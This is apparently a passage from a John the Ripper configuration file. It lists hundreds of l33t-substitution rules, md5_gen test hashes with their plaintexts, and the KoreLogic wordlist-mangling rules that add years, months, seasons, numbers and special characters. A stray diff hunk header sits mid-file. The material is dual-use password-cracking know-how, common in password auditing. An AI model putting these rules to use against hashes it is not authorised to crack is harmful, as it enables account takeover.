/tst+/ese3[:c]
/tst+/EsE3[:c]
/tst+/isi1[:c]
/tst+/isi![:c]
/tst+/isi|[:c]
/tst+/IsI1[:c]
/tst+/IsI![:c]
/tst+/IsI|[:c]
/tst+/lsl1[:c]
/tst+/lsl7[:c]
/tst+/lsl|[:c]
/tst+/lsl![:c]
/tst+/Lsl1[:c]
/tst+/Lsl7[:c]
/tst+/Lsl|[:c]
/tst+/Lsl![:c]
/tst+/oso0[:c]
/tst+/OsO0[:c]
/tst+/sss$[:c]
/tst+/sss5[:c]
/tst+/SsS$[:c]
/tst+/SsS5[:c]
/tst+/TsT+[:c]
/tst+/1s1![:c]
/tst+/1s1i[:c]
/tst+/1s1I[:c]
/tst+/1s1|[:c]
/tst+/0s0o[:c]
/tst+/0s0O[:c]
/tst+/3s3e[:c]
/tst+/3s3E[:c]
/tst+/4s4a[:c]
/tst+/4s4A[:c]
/tst+/5s5s[:c]
/tst+/5s5S[:c]
/tst+/7s7l[:c]
/tst+/7s7L[:c]
/tst+/8s8b[:c]
/tst+/8s8B[:c]
/TsT+/asa@[:c]
/TsT+/asa4[:c]
/TsT+/AsA4[:c]
/TsT+/AsA@[:c]
/TsT+/bsb8[:c]
/TsT+/BsB8[:c]
/TsT+/ese3[:c]
/TsT+/EsE3[:c]
/TsT+/isi1[:c]
/TsT+/isi![:c]
/TsT+/isi|[:c]
/TsT+/IsI1[:c]
/TsT+/IsI![:c]
/TsT+/IsI|[:c]
/TsT+/lsl1[:c]
/TsT+/lsl7[:c]
/TsT+/lsl|[:c]
/TsT+/lsl![:c]
/TsT+/Lsl1[:c]
/TsT+/Lsl7[:c]
/TsT+/Lsl|[:c]
/TsT+/Lsl![:c]
/TsT+/oso0[:c]
/TsT+/OsO0[:c]
/TsT+/sss$[:c]
/TsT+/sss5[:c]
/TsT+/SsS$[:c]
/TsT+/SsS5[:c]
/TsT+/tst+[:c]
/TsT+/1s1![:c]
/TsT+/1s1i[:c]
/TsT+/1s1I[:c]
/TsT+/1s1|[:c]
/TsT+/0s0o[:c]
/TsT+/0s0O[:c]
/TsT+/3s3e[:c]
/TsT+/3s3E[:c]
/TsT+/4s4a[:c]
/TsT+/4s4A[:c]
/TsT+/5s5s[:c]
/TsT+/5s5S[:c]
/TsT+/7s7l[:c]
/TsT+/7s7L[:c]
/TsT+/8s8b[:c]
/TsT+/8s8B[:c]
/1s1!/asa@[:c]
/1s1!/asa4[:c]
/1s1!/AsA4[:c]
/1s1!/AsA@[:c]
/1s1!/bsb8[:c]
/1s1!/BsB8[:c]
/1s1!/ese3[:c]
/1s1!/EsE3[:c]
/1s1!/isi1[:c]
/1s1!/isi![:c]
/1s1!/isi|[:c]
/1s1!/IsI1[:c]
/1s1!/IsI![:c]
/1s1!/IsI|[:c]
/1s1!/lsl1[:c]
/1s1!/lsl7[:c]
/1s1!/lsl|[:c]
/1s1!/lsl![:c]
/1s1!/Lsl1[:c]
/1s1!/Lsl7[:c]
/1s1!/Lsl|[:c]
/1s1!/Lsl![:c]
/1s1!/oso0[:c]
/1s1!/OsO0[:c]
/1s1!/sss$[:c]
/1s1!/sss5[:c]
/1s1!/SsS$[:c]
/1s1!/SsS5[:c]
/1s1!/tst+[:c]
/1s1!/TsT+[:c]
/1s1!/0s0o[:c]
/1s1!/0s0O[:c]
/1s1!/3s3e[:c]
/1s1!/3s3E[:c]
/1s1!/4s4a[:c]
/1s1!/4s4A[:c]
/1s1!/5s5s[:c]
/1s1!/5s5S[:c]
/1s1!/7s7l[:c]
/1s1!/7s7L[:c]
/1s1!/8s8b[:c]
/1s1!/8s8B[:c]
/1s1i/asa@[:c]
/1s1i/asa4[:c]
/1s1i/AsA4[:c]
/1s1i/AsA@[:c]
/1s1i/bsb8[:c]
/1s1i/BsB8[:c]
/1s1i/ese3[:c]
/1s1i/EsE3[:c]
/1s1i/isi1[:c]
/1s1i/isi![:c]
/1s1i/isi|[:c]
/1s1i/IsI1[:c]
/1s1i/IsI![:c]
/1s1i/IsI|[:c]
/1s1i/lsl1[:c]
/1s1i/lsl7[:c]
/1s1i/lsl|[:c]
/1s1i/lsl![:c]
/1s1i/Lsl1[:c]
/1s1i/Lsl7[:c]
/1s1i/Lsl|[:c]
/1s1i/Lsl![:c]
/1s1i/oso0[:c]
/1s1i/OsO0[:c]
/1s1i/sss$[:c]
/1s1i/sss5[:c]
/1s1i/SsS$[:c]
/1s1i/SsS5[:c]
/1s1i/tst+[:c]
/1s1i/TsT+[:c]
/1s1i/0s0o[:c]
/1s1i/0s0O[:c]
/1s1i/3s3e[:c]
/1s1i/3s3E[:c]
/1s1i/4s4a[:c]
/1s1i/4s4A[:c]
/1s1i/5s5s[:c]
/1s1i/5s5S[:c]
/1s1i/7s7l[:c]
/1s1i/7s7L[:c]
/1s1i/8s8b[:c]
/1s1i/8s8B[:c]
/1s1I/asa@[:c]
/1s1I/asa4[:c]
/1s1I/AsA4[:c]
/1s1I/AsA@[:c]
/1s1I/bsb8[:c]
/1s1I/BsB8[:c]
/1s1I/ese3[:c]
/1s1I/EsE3[:c]
/1s1I/isi1[:c]
/1s1I/isi![:c]
/1s1I/isi|[:c]
/1s1I/IsI1[:c]
/1s1I/IsI![:c]
/1s1I/IsI|[:c]
/1s1I/lsl1[:c]
/1s1I/lsl7[:c]
/1s1I/lsl|[:c]
/1s1I/lsl![:c]
/1s1I/Lsl1[:c]
/1s1I/Lsl7[:c]
/1s1I/Lsl|[:c]
/1s1I/Lsl![:c]
/1s1I/oso0[:c]
/1s1I/OsO0[:c]
/1s1I/sss$[:c]
/1s1I/sss5[:c]
/1s1I/SsS$[:c]
/1s1I/SsS5[:c]
/1s1I/tst+[:c]
/1s1I/TsT+[:c]
/1s1I/1s1![:c]
/1s1I/1s1i[:c]
/1s1I/1s1|[:c]
/1s1I/0s0o[:c]
/1s1I/0s0O[:c]
/1s1I/3s3e[:c]
/1s1I/3s3E[:c]
/1s1I/4s4a[:c]
/1s1I/4s4A[:c]
/1s1I/5s5s[:c]
/1s1I/5s5S[:c]
/1s1I/7s7l[:c]
/1s1I/7s7L[:c]
/1s1I/8s8b[:c]
/1s1I/8s8B[:c]
/1s1|/asa@[:c]
/1s1|/asa4[:c]
/1s1|/AsA4[:c]
/1s1|/AsA@[:c]
/1s1|/bsb8[:c]
/1s1|/BsB8[:c]
/1s1|/ese3[:c]
/1s1|/EsE3[:c]
/1s1|/isi1[:c]
/1s1|/isi![:c]
/1s1|/isi|[:c]
/1s1|/IsI1[:c]
/1s1|/IsI![:c]
/1s1|/IsI|[:c]
/1s1|/lsl1[:c]
/1s1|/lsl7[:c]
/1s1|/lsl|[:c]
/1s1|/lsl![:c]
/1s1|/Lsl1[:c]
/1s1|/Lsl7[:c]
/1s1|/Lsl|[:c]
/1s1|/Lsl![:c]
/1s1|/oso0[:c]
/1s1|/OsO0[:c]
/1s1|/sss$[:c]
/1s1|/sss5[:c]
/1s1|/SsS$[:c]
/1s1|/SsS5[:c]
/1s1|/tst+[:c]
/1s1|/TsT+[:c]
/1s1|/1s1![:c]
/1s1|/1s1i[:c]
/1s1|/1s1I[:c]
/1s1|/0s0o[:c]
/1s1|/0s0O[:c]
/1s1|/3s3e[:c]
/1s1|/3s3E[:c]
/1s1|/4s4a[:c]
/1s1|/4s4A[:c]
/1s1|/5s5s[:c]
/1s1|/5s5S[:c]
/1s1|/7s7l[:c]
/1s1|/7s7L[:c]
/1s1|/8s8b[:c]
/1s1|/8s8B[:c]
/0s0o/asa@[:c]
/0s0o/asa4[:c]
/0s0o/AsA4[:c]
/0s0o/AsA@[:c]
/0s0o/bsb8[:c]
/0s0o/BsB8[:c]
/0s0o/ese3[:c]
/0s0o/EsE3[:c]
/0s0o/isi1[:c]
/0s0o/isi![:c]
/0s0o/isi|[:c]
/0s0o/IsI1[:c]
/0s0o/IsI![:c]
/0s0o/IsI|[:c]
/0s0o/lsl1[:c]
/0s0o/lsl7[:c]
/0s0o/lsl|[:c]
/0s0o/lsl![:c]
/0s0o/Lsl1[:c]
/0s0o/Lsl7[:c]
/0s0o/Lsl|[:c]
/0s0o/Lsl![:c]
/0s0o/oso0[:c]
/0s0o/OsO0[:c]
/0s0o/sss$[:c]
/0s0o/sss5[:c]
/0s0o/SsS$[:c]
/0s0o/SsS5[:c]
/0s0o/tst+[:c]
/0s0o/TsT+[:c]
/0s0o/1s1![:c]
/0s0o/1s1i[:c]
/0s0o/1s1I[:c]
/0s0o/1s1|[:c]
/0s0o/3s3e[:c]
/0s0o/3s3E[:c]
/0s0o/4s4a[:c]
/0s0o/4s4A[:c]
/0s0o/5s5s[:c]
/0s0o/5s5S[:c]
/0s0o/7s7l[:c]
/0s0o/7s7L[:c]
/0s0o/8s8b[:c]
/0s0o/8s8B[:c]
/0s0O/asa@[:c]
/0s0O/asa4[:c]
/0s0O/AsA4[:c]
/0s0O/AsA@[:c]
/0s0O/bsb8[:c]
/0s0O/BsB8[:c]
/0s0O/ese3[:c]
/0s0O/EsE3[:c]
/0s0O/isi1[:c]
/0s0O/isi![:c]
/0s0O/isi|[:c]
/0s0O/IsI1[:c]
/0s0O/IsI![:c]
/0s0O/IsI|[:c]
/0s0O/lsl1[:c]
/0s0O/lsl7[:c]
/0s0O/lsl|[:c]
/0s0O/lsl![:c]
/0s0O/Lsl1[:c]
/0s0O/Lsl7[:c]
/0s0O/Lsl|[:c]
/0s0O/Lsl![:c]
/0s0O/oso0[:c]
/0s0O/OsO0[:c]
/0s0O/sss$[:c]
/0s0O/sss5[:c]
/0s0O/SsS$[:c]
/0s0O/SsS5[:c]
/0s0O/tst+[:c]
/0s0O/TsT+[:c]
/0s0O/1s1![:c]
/0s0O/1s1i[:c]
/0s0O/1s1I[:c]
/0s0O/1s1|[:c]
/0s0O/3s3e[:c]
/0s0O/3s3E[:c]
/0s0O/4s4a[:c]
/0s0O/4s4A[:c]
/0s0O/5s5s[:c]
/0s0O/5s5S[:c]
/0s0O/7s7l[:c]
/0s0O/7s7L[:c]
/0s0O/8s8b[:c]
/0s0O/8s8B[:c]
/3s3e/asa@[:c]
/3s3e/asa4[:c]
/3s3e/AsA4[:c]
/3s3e/AsA@[:c]
/3s3e/bsb8[:c]
/3s3e/BsB8[:c]
/3s3e/ese3[:c]
/3s3e/EsE3[:c]
/3s3e/isi1[:c]
/3s3e/isi![:c]
/3s3e/isi|[:c]
/3s3e/IsI1[:c]
/3s3e/IsI![:c]
/3s3e/IsI|[:c]
/3s3e/lsl1[:c]
/3s3e/lsl7[:c]
/3s3e/lsl|[:c]
/3s3e/lsl![:c]
/3s3e/Lsl1[:c]
/3s3e/Lsl7[:c]
/3s3e/Lsl|[:c]
/3s3e/Lsl![:c]
/3s3e/oso0[:c]
/3s3e/OsO0[:c]
/3s3e/sss$[:c]
/3s3e/sss5[:c]
/3s3e/SsS$[:c]
/3s3e/SsS5[:c]
/3s3e/tst+[:c]
/3s3e/TsT+[:c]
/3s3e/1s1![:c]
/3s3e/1s1i[:c]
/3s3e/1s1I[:c]
/3s3e/1s1|[:c]
/3s3e/0s0o[:c]
/3s3e/0s0O[:c]
/3s3e/4s4a[:c]
/3s3e/4s4A[:c]
/3s3e/5s5s[:c]
/3s3e/5s5S[:c]
/3s3e/7s7l[:c]
/3s3e/7s7L[:c]
/3s3e/8s8b[:c]
/3s3e/8s8B[:c]
/3s3E/asa@[:c]
/3s3E/asa4[:c]
/3s3E/AsA4[:c]
/3s3E/AsA@[:c]
/3s3E/bsb8[:c]
/3s3E/BsB8[:c]
/3s3E/ese3[:c]
/3s3E/EsE3[:c]
/3s3E/isi1[:c]
/3s3E/isi![:c]
/3s3E/isi|[:c]
/3s3E/IsI1[:c]
/3s3E/IsI![:c]
/3s3E/IsI|[:c]
/3s3E/lsl1[:c]
/3s3E/lsl7[:c]
/3s3E/lsl|[:c]
/3s3E/lsl![:c]
/3s3E/Lsl1[:c]
/3s3E/Lsl7[:c]
/3s3E/Lsl|[:c]
/3s3E/Lsl![:c]
/3s3E/oso0[:c]
/3s3E/OsO0[:c]
/3s3E/sss$[:c]
/3s3E/sss5[:c]
/3s3E/SsS$[:c]
/3s3E/SsS5[:c]
/3s3E/tst+[:c]
/3s3E/TsT+[:c]
/3s3E/1s1![:c]
/3s3E/1s1i[:c]
/3s3E/1s1I[:c]
/3s3E/1s1|[:c]
/3s3E/0s0o[:c]
/3s3E/0s0O[:c]
/3s3E/4s4a[:c]
/3s3E/4s4A[:c]
/3s3E/5s5s[:c]
/3s3E/5s5S[:c]
/3s3E/7s7l[:c]
/3s3E/7s7L[:c]
/3s3E/8s8b[:c]
/3s3E/8s8B[:c]
/4s4a/asa@[:c]
/4s4a/asa4[:c]
/4s4a/AsA4[:c]
/4s4a/AsA@[:c]
/4s4a/bsb8[:c]
/4s4a/BsB8[:c]
/4s4a/ese3[:c]
/4s4a/EsE3[:c]
/4s4a/isi1[:c]
/4s4a/isi![:c]
/4s4a/isi|[:c]
/4s4a/IsI1[:c]
/4s4a/IsI![:c]
/4s4a/IsI|[:c]
/4s4a/lsl1[:c]
/4s4a/lsl7[:c]
/4s4a/lsl|[:c]
/4s4a/lsl![:c]
/4s4a/Lsl1[:c]
/4s4a/Lsl7[:c]
/4s4a/Lsl|[:c]
/4s4a/Lsl![:c]
/4s4a/oso0[:c]
/4s4a/OsO0[:c]
/4s4a/sss$[:c]
/4s4a/sss5[:c]
/4s4a/SsS$[:c]
/4s4a/SsS5[:c]
/4s4a/tst+[:c]
/4s4a/TsT+[:c]
/4s4a/1s1![:c]
/4s4a/1s1i[:c]
/4s4a/1s1I[:c]
/4s4a/1s1|[:c]
/4s4a/0s0o[:c]
/4s4a/0s0O[:c]
/4s4a/3s3e[:c]
/4s4a/3s3E[:c]
/4s4a/5s5s[:c]
/4s4a/5s5S[:c]
/4s4a/7s7l[:c]
/4s4a/7s7L[:c]
/4s4a/8s8b[:c]
/4s4a/8s8B[:c]
/4s4A/asa@[:c]
/4s4A/asa4[:c]
/4s4A/AsA4[:c]
/4s4A/AsA@[:c]
/4s4A/bsb8[:c]
/4s4A/BsB8[:c]
/4s4A/ese3[:c]
/4s4A/EsE3[:c]
/4s4A/isi1[:c]
/4s4A/isi![:c]
/4s4A/isi|[:c]
/4s4A/IsI1[:c]
/4s4A/IsI![:c]
/4s4A/IsI|[:c]
/4s4A/lsl1[:c]
/4s4A/lsl7[:c]
/4s4A/lsl|[:c]
/4s4A/lsl![:c]
/4s4A/Lsl1[:c]
/4s4A/Lsl7[:c]
/4s4A/Lsl|[:c]
/4s4A/Lsl![:c]
/4s4A/oso0[:c]
/4s4A/OsO0[:c]
/4s4A/sss$[:c]
/4s4A/sss5[:c]
/4s4A/SsS$[:c]
/4s4A/SsS5[:c]
/4s4A/tst+[:c]
/4s4A/TsT+[:c]
/4s4A/1s1![:c]
/4s4A/1s1i[:c]
/4s4A/1s1I[:c]
/4s4A/1s1|[:c]
/4s4A/0s0o[:c]
/4s4A/0s0O[:c]
/4s4A/3s3e[:c]
/4s4A/3s3E[:c]
/4s4A/5s5s[:c]
/4s4A/5s5S[:c]
/4s4A/7s7l[:c]
/4s4A/7s7L[:c]
/4s4A/8s8b[:c]
/4s4A/8s8B[:c]
/5s5s/asa@[:c]
/5s5s/asa4[:c]
/5s5s/AsA4[:c]
/5s5s/AsA@[:c]
/5s5s/bsb8[:c]
/5s5s/BsB8[:c]
/5s5s/ese3[:c]
/5s5s/EsE3[:c]
/5s5s/isi1[:c]
/5s5s/isi![:c]
/5s5s/isi|[:c]
/5s5s/IsI1[:c]
/5s5s/IsI![:c]
/5s5s/IsI|[:c]
/5s5s/lsl1[:c]
/5s5s/lsl7[:c]
/5s5s/lsl|[:c]
/5s5s/lsl![:c]
/5s5s/Lsl1[:c]
/5s5s/Lsl7[:c]
/5s5s/Lsl|[:c]
/5s5s/Lsl![:c]
/5s5s/oso0[:c]
/5s5s/OsO0[:c]
/5s5s/sss$[:c]
/5s5s/sss5[:c]
/5s5s/SsS$[:c]
/5s5s/SsS5[:c]
/5s5s/tst+[:c]
/5s5s/TsT+[:c]
/5s5s/1s1![:c]
/5s5s/1s1i[:c]
/5s5s/1s1I[:c]
/5s5s/1s1|[:c]
/5s5s/0s0o[:c]
/5s5s/0s0O[:c]
/5s5s/3s3e[:c]
/5s5s/3s3E[:c]
/5s5s/4s4a[:c]
/5s5s/4s4A[:c]
/5s5s/7s7l[:c]
/5s5s/7s7L[:c]
/5s5s/8s8b[:c]
/5s5s/8s8B[:c]
/5s5S/asa@[:c]
/5s5S/asa4[:c]
/5s5S/AsA4[:c]
/5s5S/AsA@[:c]
/5s5S/bsb8[:c]
/5s5S/BsB8[:c]
/5s5S/ese3[:c]
/5s5S/EsE3[:c]
/5s5S/isi1[:c]
/5s5S/isi![:c]
/5s5S/isi|[:c]
/5s5S/IsI1[:c]
/5s5S/IsI![:c]
/5s5S/IsI|[:c]
/5s5S/lsl1[:c]
/5s5S/lsl7[:c]
/5s5S/lsl|[:c]
/5s5S/lsl![:c]
/5s5S/Lsl1[:c]
/5s5S/Lsl7[:c]
/5s5S/Lsl|[:c]
/5s5S/Lsl![:c]
/5s5S/oso0[:c]
/5s5S/OsO0[:c]
/5s5S/sss$[:c]
/5s5S/sss5[:c]
/5s5S/SsS$[:c]
/5s5S/SsS5[:c]
/5s5S/tst+[:c]
/5s5S/TsT+[:c]
/5s5S/1s1![:c]
/5s5S/1s1i[:c]
/5s5S/1s1I[:c]
/5s5S/1s1|[:c]
/5s5S/0s0o[:c]
/5s5S/0s0O[:c]
/5s5S/3s3e[:c]
/5s5S/3s3E[:c]
/5s5S/4s4a[:c]
/5s5S/4s4A[:c]
/5s5S/7s7l[:c]
/5s5S/7s7L[:c]
/5s5S/8s8b[:c]
/5s5S/8s8B[:c]
/7s7l/asa@[:c]
/7s7l/asa4[:c]
/7s7l/AsA4[:c]
/7s7l/AsA@[:c]
/7s7l/bsb8[:c]
/7s7l/BsB8[:c]
/7s7l/ese3[:c]
/7s7l/EsE3[:c]
/7s7l/isi1[:c]
/7s7l/isi![:c]
/7s7l/isi|[:c]
/7s7l/IsI1[:c]
/7s7l/IsI![:c]
/7s7l/IsI|[:c]
/7s7l/lsl1[:c]
/7s7l/lsl7[:c]
/7s7l/lsl|[:c]
/7s7l/lsl![:c]
/7s7l/Lsl1[:c]
/7s7l/Lsl7[:c]
/7s7l/Lsl|[:c]
/7s7l/Lsl![:c]
/7s7l/oso0[:c]
/7s7l/OsO0[:c]
/7s7l/sss$[:c]
/7s7l/sss5[:c]
/7s7l/SsS$[:c]
/7s7l/SsS5[:c]
/7s7l/tst+[:c]
/7s7l/TsT+[:c]
/7s7l/1s1![:c]
/7s7l/1s1i[:c]
/7s7l/1s1I[:c]
/7s7l/1s1|[:c]
/7s7l/0s0o[:c]
/7s7l/0s0O[:c]
/7s7l/3s3e[:c]
/7s7l/3s3E[:c]
/7s7l/4s4a[:c]
/7s7l/4s4A[:c]
/7s7l/5s5s[:c]
/7s7l/5s5S[:c]
/7s7l/8s8b[:c]
/7s7l/8s8B[:c]
/7s7L/asa@[:c]
/7s7L/asa4[:c]
/7s7L/AsA4[:c]
/7s7L/AsA@[:c]
/7s7L/bsb8[:c]
/7s7L/BsB8[:c]
/7s7L/ese3[:c]
/7s7L/EsE3[:c]
/7s7L/isi1[:c]
/7s7L/isi![:c]
/7s7L/isi|[:c]
/7s7L/IsI1[:c]
/7s7L/IsI![:c]
/7s7L/IsI|[:c]
/7s7L/lsl1[:c]
/7s7L/lsl7[:c]
/7s7L/lsl|[:c]
/7s7L/lsl![:c]
/7s7L/Lsl1[:c]
/7s7L/Lsl7[:c]
/7s7L/Lsl|[:c]
/7s7L/Lsl![:c]
/7s7L/oso0[:c]
/7s7L/OsO0[:c]
/7s7L/sss$[:c]
/7s7L/sss5[:c]
/7s7L/SsS$[:c]
/7s7L/SsS5[:c]
/7s7L/tst+[:c]
/7s7L/TsT+[:c]
/7s7L/1s1![:c]
/7s7L/1s1i[:c]
/7s7L/1s1I[:c]
/7s7L/1s1|[:c]
/7s7L/0s0o[:c]
/7s7L/0s0O[:c]
/7s7L/3s3e[:c]
/7s7L/3s3E[:c]
/7s7L/4s4a[:c]
/7s7L/4s4A[:c]
/7s7L/5s5s[:c]
/7s7L/5s5S[:c]
/7s7L/8s8b[:c]
/7s7L/8s8B[:c]
/8s8b/asa@[:c]
/8s8b/asa4[:c]
/8s8b/AsA4[:c]
/8s8b/AsA@[:c]
/8s8b/bsb8[:c]
/8s8b/BsB8[:c]
/8s8b/ese3[:c]
/8s8b/EsE3[:c]
/8s8b/isi1[:c]
/8s8b/isi![:c]
/8s8b/isi|[:c]
/8s8b/IsI1[:c]
/8s8b/IsI![:c]
/8s8b/IsI|[:c]
/8s8b/lsl1[:c]
/8s8b/lsl7[:c]
/8s8b/lsl|[:c]
/8s8b/lsl![:c]
/8s8b/Lsl1[:c]
/8s8b/Lsl7[:c]
/8s8b/Lsl|[:c]
/8s8b/Lsl![:c]
/8s8b/oso0[:c]
/8s8b/OsO0[:c]
/8s8b/sss$[:c]
/8s8b/sss5[:c]
/8s8b/SsS$[:c]
/8s8b/SsS5[:c]
/8s8b/tst+[:c]
/8s8b/TsT+[:c]
/8s8b/1s1![:c]
/8s8b/1s1i[:c]
/8s8b/1s1I[:c]
/8s8b/1s1|[:c]
/8s8b/0s0o[:c]
/8s8b/0s0O[:c]
/8s8b/3s3e[:c]
/8s8b/3s3E[:c]
/8s8b/4s4a[:c]
/8s8b/4s4A[:c]
/8s8b/5s5s[:c]
/8s8b/5s5S[:c]
/8s8b/7s7l[:c]
/8s8b/7s7L[:c]
/8s8B/asa@[:c]
/8s8B/asa4[:c]
/8s8B/AsA4[:c]
/8s8B/AsA@[:c]
/8s8B/bsb8[:c]
/8s8B/BsB8[:c]
/8s8B/ese3[:c]
/8s8B/EsE3[:c]
/8s8B/isi1[:c]
/8s8B/isi![:c]
/8s8B/isi|[:c]
/8s8B/IsI1[:c]
/8s8B/IsI![:c]
/8s8B/IsI|[:c]
/8s8B/lsl1[:c]
/8s8B/lsl7[:c]
/8s8B/lsl|[:c]
/8s8B/lsl![:c]
/8s8B/Lsl1[:c]
/8s8B/Lsl7[:c]
/8s8B/Lsl|[:c]
/8s8B/Lsl![:c]
/8s8B/oso0[:c]
/8s8B/OsO0[:c]
/8s8B/sss$[:c]
/8s8B/sss5[:c]
/8s8B/SsS$[:c]
/8s8B/SsS5[:c]
/8s8B/tst+[:c]
/8s8B/TsT+[:c]
/8s8B/1s1![:c]
/8s8B/1s1i[:c]
/8s8B/1s1I[:c]
/8s8B/1s1|[:c]
/8s8B/0s0o[:c]
/8s8B/0s0O[:c]
/8s8B/3s3e[:c]
/8s8B/3s3E[:c]
/8s8B/4s4a[:c]
/8s8B/4s4A[:c]
/8s8B/5s5s[:c]
/8s8B/5s5S[:c]
/8s8B/7s7l[:c]
/8s8B/7s7L[:c]
# These are some popular triple/quad l33t rules
/asa4/ese3/lsl1[:c]
/asa4/ese3/oso0[:c]
/asa4/ese3/sss$[:c]
/asa4/lsl1/oso0[:c]
/asa4/lsl1/sss$[:c]
/asa4/oso0/sss$[:c]
/ese3/lsl1/oso0[:c]
/ese3/lsl1/sss$[:c]
/ese3/oso0/sss$[:c]
/lsl1/oso0/sss$[:c]
/asa4/ese3/lsl1/oso0[:c]
/asa4/ese3/lsl1/sss$[:c]
/asa4/ese3/oso0/sss$[:c]
/asa4/lsl1/oso0/sss$[:c]
/ese3/lsl1/oso0/sss$[:c]
/asa4/ese3/lsl1/oso0/sss$[:c]
# Case toggler for cracking MD4-based NTLM hashes (with the contributed patch)
# given already cracked DES-based LM hashes.
@@ -3845,3 +1524,499 @@ Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4
Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking
Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3
[List.Rules:KoreLogicRules]
;[List.Rules:KoreLogicRulesPrependNumNum]
-[c:] \p[c:] A0"[0-9][0-9]"
;[List.Rules:KoreLogicRulesPrependYears]
A0"20[0-1][0-9]"
A0"19[3-9][0-9]"
# Notice: Your wordlist should likely be all lowercase - or you are wasting work
;[List.Rules:KoreLogicRulesAppendYears]
-[c:] \p[c:] Az"19[0-9][0-9]" <+
-[c:] \p[c:] Az"20[01][0-9]" <+
;[List.Rules:KoreLogicRulesPrependNumNumNum]
-[c:] \p[c:] A0"[0-9][0-9][0-9]"
;[List.Rules:KoreLogicRulesMonthsFullPreface]
-[:c] A0"\p[jJ]anuary"
-[:c] A0"\p[fF]ebruary"
-[:c] A0"\p[mM]arch"
-[:c] A0"\p[aA]pril"
-[:c] A0"\p[mM]ay"
-[:c] A0"\p[jJ]uner"
-[:c] A0"\p[jJ]uly"
-[:c] A0"\p[aA]ugust"
-[:c] A0"\p[sS]eptember"
-[:c] A0"\p[oO]ctober"
-[:c] A0"\p[nN]ovember"
-[:c] A0"\p[dD]ecember"
;[List.Rules:KoreLogicRulesPrepend4LetterMonths]
## Preface each dictionary with Janu janu Febr febr
-[:c] A0"\p[jJ]anu"
-[:c] A0"\p[fF]ebr"
-[:c] A0"\p[mM]arc"
-[:c] A0"\p[aA]pr"
-[:c] A0"\p[mM]ay"
-[:c] A0"\p[jJ]une"
-[:c] A0"\p[jJ]uly"
-[:c] A0"\p[Aa]ugu"
-[:c] A0"\p[sS]ept"
-[:c] A0"\p[oO]cto"
-[:c] A0"\p[nN]ove"
-[:c] A0"\p[Dd]ece"
# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic
;[List.Rules:KoreLogicRulesPrependSeason]
A0"[Ss$][uU][mM][mM][eE3][rR]"
A0"[Ww][iI|][nN][tT+][eE3][rR]"
A0"[Ff][aA][lL][lL]"
A0"[Ss][pP][rR][iI][nN][gG]"
A0"[Aa][uU][tT][uU][mM][nN]"
# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic
;[List.Rules:KoreLogicRulesAppendSeason]
<* Az"[Ss$][uU][mM][mM][eE3][rR]"
<* Az"[Ww][iI|][nN][tT+][eE3][rR]"
<* Az"[Ff][aA][lL][lL]"
<* Az"[Ss][pP][rR][iI][nN][gG]"
<* Az"[Aa][uU][tT][uU][mM][nN]"
;[List.Rules:KoreLogicRulesPrependHello]
A0"[hH][eE][lL][lL][oO0]"
# Notice how we
# 1) do caps first b/c they are more common in 'complex' environments
# 2) Do !$@#%. first b/c they are the most common special chars
;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial]
-[c:] \p[c:] Az"201[0-9][!$@#%.]" <+
-[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
;[List.Rules:KoreLogicRulesPrependSpecialSpecial]
-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
;[List.Rules:KoreLogicRulesAppend2Letters]
<- Az"[a-z][a-z]"
-c <- Az"[A-Z][A-Z]"
-c <- Az"[a-z][A-Z]"
-c <- Az"[A-Z][a-z]"
# Append numbers - but limit the total length.
;[List.Rules:KoreLogicRulesAddJustNumbers]
-[c:] <* >1 \p[c:] $[0-9]
-[c:] <* >1 \p[c:] ^[0-9]
-[c:] <- >1 \p[c:] Az"[0-9][0-9]"
-[c:] <- >1 \p[c:] A0"[0-9][0-9]"
-[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+
# Redundant with KoreLogicRulesAppend4Num
;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesDevProdTestUAT]
-\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l]
-\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l]
-\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l]
-\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l]
;[List.Rules:KoreLogicRulesPrependAndAppendSpecial]
-[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num
;[List.Rules:KoreLogicRulesAppendJustNumbers]
;-[c:] <* \p[c:] $[0-9]
;-[c:] <- \p[c:] Az"[0-9][0-9]"
;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+
;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple]
# cap first letter then add a 0 2 6 9 ! * to the end
-[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]
# cap first letter then add a special char - THEN a number !0 %9 !9 etc
-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q
# Cap the first letter - then add 0? 0! 5_ .. 9!
## add NUMBER then SPECIAL 1! .. 9?
-[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q
## Add Number Number Special
;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
## Add Special Number Number
;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
# Add 100! ... 999! to the end
